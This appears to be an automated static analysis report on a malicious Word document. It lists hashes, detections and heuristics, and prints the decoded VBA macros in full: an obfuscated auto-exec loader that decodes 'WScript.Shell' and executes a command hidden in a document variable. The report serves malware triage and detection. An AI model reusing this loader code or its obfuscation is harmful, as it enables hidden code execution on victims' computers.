Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 38bf13caca3efa84…

MALICIOUS

Office (OLE)

36.5 KB Created: 2018-04-30 09:29:00 Authoring application: Microsoft Office Word First seen: 2021-02-23
MD5: d64d194bac88abed87520bdff09ceacc SHA-1: f4934f1fc3cfade8c9d421ebe653ac1356934922 SHA-256: 38bf13caca3efa84cf740cf9e9cd51933c7a285694f3f8ecc49df7e1768f2dbe
248 Risk Score

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700358-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700358-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Application.Run OLJ_K("737167705E657A6D5E6B74")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim SRN_RO As Object: Set SRN_RO = VBA.CreateObject(OLJ_K("726E7E8D848B8F496E83808787"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Public Sub Auto_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3832 bytes
SHA-256: 4e96c064c66daf86f34ff1c7f4ba6141da5e8c7ce305ba6a6e0558019ecb24c1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function rwX1L67K3() As String
MsgBox "ZL6QPLNWX3GJYV"
rwX1L67K3 = "8F8D7D7D7D7DAE7D7D7D7D7D7DB87D507D7D55A47D7D4D7D51A27DA57D7D4F797D7D527D7D7D789B7B7D716F7D7D7D7DAE7D7DB57D51787D589A6F7D7D43AB7DA77D924C7D767D7D6E7D7D7DAD7D6AA5A87D9B7DB77D997D7D7D7D7D7D75B07D7D7D897D737D7D7A7DB47D7D7D7DAB93587D7D877D837D7D7A407D557D93A3708E7D7DB67D707D7D5F7D7D727D7D587D5EA07D7D7D807D7D7D7D7D7D4B627D7A4FA0967DA17D7D7D60664C9BB47D947D627D7D7D7D4B7D7D7D7D777D7D7D61A17D7A6D697D7DA9587D7F697D7D7D6BAA7D867D8958B65B7D7DAA697B7D917D7D7D7D7D57"
End Function

Public Function OLJ_K(ByVal SRN_RO As String)
   Dim TW_UJE As String
   Dim UK_NZW As Long
   For UK_NZW = 1 To Len(SRN_RO) Step 2
        TW_UJE = TW_UJE & Chr(Asc(Chr("&H" & Mid(SRN_RO, UK_NZW, 2))) - 27)
   Next
   OLJ_K = TW_UJE
End Function
Public Sub Document_Open()
    Application.Run OLJ_K("737167705E657A6D5E6B74")
End Sub
Private Function rw8S52Y5L() As String
MsgBox "55LND75055G0RE"
rw8S52Y5L = "8F8D7D7D7D7DAE7D7D7D7D7D7DB87D507D7D55A47D7D4D7D51A27DA57D7D4F797D7D527D7D7D789B7B7D716F7D7D7D7DAE7D7DB57D51787D589A6F7D7D43AB7DA77D924C7D767D7D6E7D7D7DAD7D6AA5A87D9B7DB77D997D7D7D7D7D7D75B07D7D7D897D737D7D7A7DB47D7D7D7DAB93587D7D877D837D7D7A407D557D93A3708E7D7DB67D707D7D5F7D7D727D7D587D5EA07D7D7D807D7D7D7D7D7D4B627D7A4FA0967DA17D7D7D60664C9BB47D947D627D7D7D7D4B7D7D7D7D777D7D7D61A17D7A6D697D7DA9587D7F697D7D7D6BAA7D867D8958B65B7D7DAA697B7D917D7D7D7D7D57"
End Function

Sub XVLUCJ_RCPY()
    SD_KXK
End Sub
Public Sub Auto_Open()
    Application.Run OLJ_K("737167705E657A6D5E6B74")
End Sub
Private Function rwVWI591N() As String
MsgBox "8D969M1H4RS1UU"
rwVWI591N = "8F8D7D7D7D7DAE7D7D7D7D7D7DB87D507D7D55A47D7D4D7D51A27DA57D7D4F797D7D527D7D7D789B7B7D716F7D7D7D7DAE7D7DB57D51787D589A6F7D7D43AB7DA77D924C7D767D7D6E7D7D7DAD7D6AA5A87D9B7DB77D997D7D7D7D7D7D75B07D7D7D897D737D7D7A7DB47D7D7D7DAB93587D7D877D837D7D7A407D557D93A3708E7D7DB67D707D7D5F7D7D727D7D587D5EA07D7D7D807D7D7D7D7D7D4B627D7A4FA0967DA17D7D7D60664C9BB47D947D627D7D7D7D4B7D7D7D7D777D7D7D61A17D7A6D697D7DA9587D7F697D7D7D6BAA7D867D8958B65B7D7DAA697B7D917D7D7D7D7D57"
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & OLJ_K("737167705E657A6D5E6B74")
End Sub
Private Function rw06N92A6() As String
MsgBox "3SDYA4FTUHDH7P"
rw06N92A6 = "8F8D7D7D7D7DAE7D7D7D7D7D7DB87D507D7D55A47D7D4D7D51A27DA57D7D4F797D7D527D7D7D789B7B7D716F7D7D7D7DAE7D7DB57D51787D589A6F7D7D43AB7DA77D924C7D767D7D6E7D7D7DAD7D6AA5A87D9B7DB77D997D7D7D7D7D7D75B07D7D7D897D737D7D7A7DB47D7D7D7DAB93587D7D877D837D7D7A407D557D93A3708E7D7DB67D707D7D5F7D7D727D7D587D5EA07D7D7D807D7D7D7D7D7D4B627D7A4FA0967DA17D7D7D60664C9BB47D947D627D7D7D7D4B7D7D7D7D777D7D7D61A17D7A6D697D7DA9587D7F697D7D7D6BAA7D867D8958B65B7D7DAA697B7D917D7D7D7D7D57"
End Function

Public Sub SD_KXK()
    Dim SRN_RO As Object: Set SRN_RO = VBA.CreateObject(OLJ_K("726E7E8D848B8F496E83808787"))
    SRN_RO.Exec (OLJ_K(ActiveDocument.Variables("F7E6C").Value))
End Sub
Private Function rwU6H9SVX() As String
MsgBox "KJOTXE1NRGDEU8"
rwU6H9SVX = "8F8D7D7D7D7DAE7D7D7D7D7D7DB87D507D7D55A47D7D4D7D51A27DA57D7D4F797D7D527D7D7D789B7B7D716F7D7D7D7DAE7D7DB57D51787D589A6F7D7D43AB7DA77D924C7D767D7D6E7D7D7DAD7D6AA5A87D9B7DB77D997D7D7D7D7D7D75B07D7D7D897D737D7D7A7DB47D7D7D7DAB93587D7D877D837D7D7A407D557D93A3708E7D7DB67D707D7D5F7D7D727D7D587D5EA07D7D7D807D7D7D7D7D7D4B627D7A4FA0967DA17D7D7D60664C9BB47D947D627D7D7D7D4B7D7D7D7D777D7D7D61A17D7A6D697D7DA9587D7F697D7D7D6BAA7D867D8958B65B7D7DAA697B7D917D7D7D7D7D57"
End Function

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